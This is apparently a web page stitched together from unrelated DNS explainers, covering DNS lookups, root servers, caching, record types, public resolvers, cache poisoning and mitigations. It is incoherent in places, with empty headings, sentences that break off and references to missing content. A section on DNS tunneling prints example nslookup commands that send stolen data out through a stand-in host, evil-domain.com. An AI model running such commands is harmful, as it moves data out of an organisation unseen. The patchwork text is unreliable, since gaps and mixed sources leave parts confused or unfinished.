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Dns Cache Poisoning Aka Dns Poisoning

How a DNS Server (Domain Name System) works.

DNS cache poisoning is something that happens when there are incorrect IP addresses stored on a DNS cache. For example, instead of leading a user to amazon.com, the incorrect DNS cache entry might lead users to a phishing website that looks like the Amazon website. DNS poisoning can happen by design, because DNS servers rely on each other to answer lookup queries, allowing misinformation to spread.

The way DNS poisoning attacks typically happen is this:

  • the attackers impersonate a DNS name server
  • they make a request to a DNS resolver
  • they forge a reply to the DNS resolver before the real DNS name server can answer

DNS requests and queries use UDP , which doesn’t require a handshake to verify that the recipient is who they claim to be. Through this UDP vulnerability, the attacker can send a forged response with false header data that will route a connection somewhere else.

Since there is no way to check whether the entry is genuine or not, the DNS resolver automatically caches the data. This means the cache is now poisoned and it will stay poisoned until the entrys time to live expires, or the DNS cache is manually flushed.

Every time the user will try to enter some web address the attackers have tampered with, your browser will retrieve the incorrect address from the cache because it’s faster.

What Is Dns Domain Name System Explained

DNS, short for Domain Name System, is one of the most common yet misunderstood components of the web landscape. To put it simply, DNS helps direct traffic on the Internet by connecting domain names with actual web servers. Essentially, it takes a human-friendly request a domain name like kinsta.com and translates it into a computer-friendly server IP address like 216.3.128.12.

Because DNS is all about looking up addresses and connecting devices, many people call DNS the phonebook of the Internet. Without DNS, youd have to memorize every sites IP address to access it whichwell, that just wouldnt work!

Who Has Authority Over Dns Root Servers

Ultimate authority over the root zone belongs to the National Telecommunications and Information Administration , which is a part of the US Department of Commerce. The NTIA delegates management of the root zone to the Internet Corporation for Assigned Names and Numbers .

ICANN operates servers for one of the 13 IP addresses in the root zone and delegates operation of the other 12 IP addresses to various organizations including NASA, the University of Maryland, and Verisign, which is the only organization that operates two of the root IP addresses. Cloudflare actually helps provide DNS Anycast services to one of the root servers known as the F-Root Cloudflare supplies additional F-Root instances under contract with ISC . Learn more about how Cloudflare supports the F-Root.

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Dns Servers And Ip Addresses

Computers and various devices that use the internet depend on IP addresses to send a user’s request to the website they are attempting to reach. Without DNS, you would have to keep track of the IP addresses of all the websites you visit, similar to carrying around a phone book of websites all the time. The DNS server allows you to type in the name of the website. It then goes out and gets the right IP address for you. Armed with the IP address, your computer can bring you to the site.

For instance, if you input www.fortinet.com in your web browser, that URL, on its own, cannot bring you to the website. Those letters cannot be read by the servers that connect you with the site. However, the servers are able to read IP addresses. The DNS server figures out which IP address corresponds with www.fortinet.com and sends it to your browser. Then the website appears on your devices screen because the browser now knows where to take your device.

How To Mitigate A Dns Attack

What is DNS (Domain Name System)?

Now we understand that attackers are not super hackers that cannot be stopped. All they do is just look for vulnerabilities in the DNS and attack them

There are a few things we can do as users to mitigate attacks on DNS:

  • If you operate your own DNS resolver, restrict the usage to only users connected to your network. This will help to prevent attackers from poisoning your resolver’s cache.
  • If you run your own DNS server, then make sure you keep the DNS server and the OS they run patched and updated to prevent them from being exploited due to known vulnerabilities.
  • If you use a domain name registrar, you can also protect yourself from DNS attacks:

  • DNSSEC allows DNS data to be digitally signed so that it becomes impossible for an attacker to forge it. So be sure to confirm if your provider has implemented DNSSEC.
  • Make use of two-factor authentication. If attackers gain access to one of your administrator’s account details, two-factor authentication will still make your DNS safe because access to the account will depend on a second authentication factor such as a one-time password sent to a mobile phone or email address.
  • You should enable modification locking. This feature requires a specific action to be performed before any change can be made
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    Using Dns As A Covert Channel

    Since outbound DNS traffic is almost never blocked and there tends to be a lot of it using DNS for data exfiltration or covert communications has become a favorite tactic of many sophisticated adversaries. The attackers goal is to blend in with all that legitimate network traffic through a technique called DNS Tunneling. In some cases, an attacker will simply use the DNS protocol in ways it wasnt intended to transfer data. This can be risky, however, as it could generate large spikes or unusual traffic patterns that a well-prepared organization can quickly notice.

    A more sophisticated approach involves abusing DNS infrastructure itself. The malicious actor will set up a DNS domain on the internet and create an authoritative name server. Then, on the compromised host, the attacker can use a program that breaks up the data into small chunks and inserts it into a series of lookups, like so:

    • nslookup My1secret1.evil-domain.com
    • nslookup is1that1I1know.evil-domain.com
    • nsllookup how2steal1data.evil-domain.com

    The corp.com DNS server will receive these requests, realize the results arent in its cache, and relay those requests back to evil-domain.coms authoritative name server. The attacker is expecting this traffic, so it runs a program on the authoritative name server to extract the first part of the query and reassemble it. Unless the organization is inspecting the queries it is DNS servers make, they may never realize their DNS servers were used to exfiltrate data.

    Domain Name System Records

    There are various types of DNS records, which are used to connect a domain to respective web services like a website, email, sub-domain configuration, etc. We will discuss the most commonly used DNS records in this section.

    A or AAAA records

    This type of DNS value associates a domain to the specific IP address of the webserver. A record is used for IPV4 address, whereas AAAA record is used for IPV6 address. In case you want to point the website to a different server and all other web-based services like email to others, you will have to update this record only, which will consist of an IP address.

    MX Records

    It stands for Mail Exchanger record. This is another very useful DNS record used for configuration of domain-specific emails. It is used to assign a web server to send and receive emails for the domain. Setting this MX record to point to a specific server will help you host your emails on a specific server. For example, if you want to use Google Suite for your emails, you will have to set these records to the MX entries specified by Google, which looks like these:

    Several MX records can be defined for a domain to point to different mail servers.

    CName Records

    TXT Records

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    Client Contacts The Dns Resolver

    When you type a website address in your browser , your browser sends a query over the Internet to find the website you are looking for. The first server your query reaches is a DNS recursive resolver. DNS resolver is the only server your device contacts directly, as it does most of the remaining process for you. DNS resolvers are usually operated by your ISP or your wireless carrier. There are of course third-party providers like Google and OpenDNS.

    The Domain Name System Resolves The Names Of Internet Sites With Their Underlying Ip Addresses Adding Efficiency And Even Security In The Process

    What is DNS (Domain Name System)?

    The Domain Name System is one of the foundations of the internet, yet most people outside of networking probably dont realize they use it every day to do their jobs, check their email or waste time on their smartphones.

    At its most basic, DNS is a directory of names that match with numbers. The numbers, in this case are IP addresses, which computers use to communicate with each other. Most descriptions of DNS use the analogy of a phone book, which is fine for people over the age of 30 who know what a phone book is.

    If youre under 30, think of DNS like your smartphones contact list, which matches peoples names with their phone numbers and email addresses. Then multiply that contact list by everyone else on the planet.

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    What Is Dns Caching Where Does Dns Caching Occur

    The purpose of caching is to temporarily stored data in a location that results in improvements in performance and reliability for data requests. DNS caching involves storing data closer to the requesting client so that the DNS query can be resolved earlier and additional queries further down the DNS lookup chain can be avoided, thereby improving load times and reducing bandwidth/CPU consumption. DNS data can be cached in a variety of locations, each of which will store DNS records for a set amount of time determined by a .

    Browser DNS caching

    Modern web browsers are designed by default to cache DNS records for a set amount of time. The purpose here is obvious the closer the DNS caching occurs to the web browser, the fewer processing steps must be taken in order to check the cache and make the correct requests to an IP address. When a request is made for a DNS record, the browser cache is the first location checked for the requested record.

    In Chrome, you can see the status of your DNS cache by going to chrome://net-internals/#dns.

    Operating system level DNS caching

    When the recursive resolver inside the ISP receives a DNS query, like all previous steps, it will also check to see if the requested host-to-IP-address translation is already stored inside its local persistence layer.

    The recursive resolver also has additional functionality depending on the types of records it has in its cache:

    Learn about what differentiates from other DNS providers.

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    What Is A Dns

    Every website on the Internet has its own unique address. Its called an IP address. But unlike the physical street address for a house or building, an IP address consists of a set of numbers strung together and separated by periods. A typical IP address in the IPv4 address space looks like: 123.123.123.2. If customers had to memorize the IP addresses of every website they visited, they wouldnt spend much time on the Internet. Thankfully, we use URLs instead. And behind the scenes, theres an address book of sorts that helps convert these user-friendly URLs and web addresses into the IP addresses that computers understand. Its called a Domain Name System, or DNS.

    In the simplest form, a DNS is a directory of domain names that align with IP addresses. They bridge the gap between computer language and human language keeping both servers and people happy.

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    How Does A Dns Server Work

    Every device that is connected to the internet has its own IP address. DNS servers use name servers, which essentially act as a directory of IP addresses and domain names. These name servers also dictate how each domain name maps to an IP address.

    A single master name server would be massive and unwieldy, so there are tons of different name servers which store this information. Plus, domain names can each map to several IP addresses.

    Think about it this way: Many people access Allconnect at any given moment, and each of these individuals uses their own device.

    So when a human enters a web address, a DNS will match it with the IP address which computers can interpret. This routes your connection to the appropriate destination .

    What Happens If A Dns Root Server Becomes Unavailable

    An introduction to HTTP: Domain Name System servers

    Thanks to the use of Anycast routing and heavy redundancy, the root servers are very reliable. But on rare occasions a root server will have to update its IP address. In this case, recursive resolvers can continue using the other 12 IP addresses in the root zone to perform DNS lookups until their software is updated with the correct addresses of all 13 servers. Since resolvers will retry until they reach a working root server, there is no disruption to the normal operations of the Internet when one root server is down. Learn more about how uses Anycast routing to improve reliability.

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    Can I Use 8888 Dns

    It’s important to keep in mind, though, that while your ISP will set a default DNS server, you’re under no obligation to use it. Some users may have reason to avoid their ISP’s DNS for instance, some ISPs use their DNS servers to redirect requests for nonexistent addresses to pages with advertising.

    If you want an alternative, you can instead point your computer to a public DNS server that will act as a recursive resolver. One of the most prominent public DNS servers is Google’s its IP address is 8.8.8.8. Google’s DNS services tend to be fast, and while there are certain questions about the , they can’t really get any more information from you that they don’t already get from Chrome. Google has a page with detailed instructions on how to configure your computer or router to connect to Google’s DNS.

    How Do Resolvers Find Dns Root Servers

    Since the DNS root zone is at the top of the DNS hierarchy, recursive resolvers cannot be directed to them in a DNS lookup. Because of this, every DNS resolver has a list of the 13 IP root server addresses built into its software. Whenever a DNS lookup is initiated, the recursors first communication is with one of those 13 IP addresses.

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